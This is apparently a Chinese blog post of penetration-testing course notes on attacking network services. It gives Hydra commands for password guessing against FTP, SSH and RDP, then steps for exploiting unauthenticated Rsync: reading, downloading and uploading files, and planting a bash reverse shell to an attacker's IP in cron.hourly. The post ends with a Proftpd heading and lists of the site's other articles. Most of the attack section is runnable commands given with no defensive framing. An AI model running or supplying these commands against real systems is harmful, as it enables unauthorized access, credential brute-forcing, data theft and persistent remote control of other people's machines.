57、服务攻防——应用协议&Rsync&SSH&RDP&漏洞批扫&口令猜解


在这里插入图片描述
在这里插入图片描述

口令猜解——Hydra-FTP&RDP&SSH

  • FTP:文本传输协议,端口21;
  • RDP:windows上远程终端协议,端口3389;
  • SSH:linux远程终端协议,端口22。
hydra -L test -P 10top1K.txt <ip地址> ftp -V
hydra -l root -P 10top1K.txt <ip地址> ssh -V
hydra -l administrator -P 10top1K.txt <ip地址> rdp -V

密码项目:fuzzDicts

配置不当——未授权访问—Rsync文件备份

Rsync:linux文件同步的应用程序,常用于本地计算机和远程计算机之间文件同步,端口873

  1. 判断是否存在Rsync未授权访问:rsync rsync://<ip:port>/
    在这里插入图片描述

    出现上述信息,说明存在rsync未授权访问。

  2. 利用:
    • 读取文件:rsync rsync://<ip:port>/src/
    • 下载文件:rsync rsync://<ip:port>/src/passwd ./
    • 上传文件:rsync -av passwd rsync://<ip:port>/src/tmp/passwd
  3. 反弹shell(借助系统计划任务)
    • 获取信息:rsync rsync://<ip:port>/src/etc/crontab /root/cron.txt(下载到本地查看)
    • 本地创建后门文件
    touch shell //创建文件
    
    //文件内容
    /bin/bash -i >& /dev/tcp/<攻击机ip:port> 0>&1
    
    chmod +x shell //修改文件权限
    
    • 上传文件:rsync -av shell rsync://<ip:port>/src/etc/cron.hourly(上传到可利用的计划任务中)

fofa爬虫:fofa_viewer
在这里插入图片描述

协议漏洞——应用软件-FTP&Proftpd搭建

Proftpd:用于架设ftp服务。

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-16 21:16:01       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-16 21:16:01       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-16 21:16:01       87 阅读
  4. Python语言-面向对象

    2024-03-16 21:16:01       96 阅读

热门阅读

  1. 记录些实际应用开发过程中的prompt

    2024-03-16 21:16:01       35 阅读
  2. Acwing100 --- 增减序列(差分)

    2024-03-16 21:16:01       44 阅读
  3. Docker环境快速搭建RocketMq

    2024-03-16 21:16:01       39 阅读
  4. KY199 查找

    2024-03-16 21:16:01       44 阅读
  5. docker命令查询笔记

    2024-03-16 21:16:01       32 阅读
  6. Elasticsearch(10) match的使用

    2024-03-16 21:16:01       39 阅读
  7. 【C/C++ 学习笔记】结构体

    2024-03-16 21:16:01       43 阅读
  8. MySQL中的insert ignore into 和 insert into 使用方式

    2024-03-16 21:16:01       36 阅读
  9. MySql相关知识

    2024-03-16 21:16:01       40 阅读
  10. 关于uni-app 外部系统联登遇到的坑

    2024-03-16 21:16:01       43 阅读
  11. Elasticsearch(11) intervals的使用

    2024-03-16 21:16:01       44 阅读
  12. 分布式搜索引擎Elasticsearch中各种类型节点的作用

    2024-03-16 21:16:01       42 阅读
  13. Go 语言中的 Cond 机制详解

    2024-03-16 21:16:01       41 阅读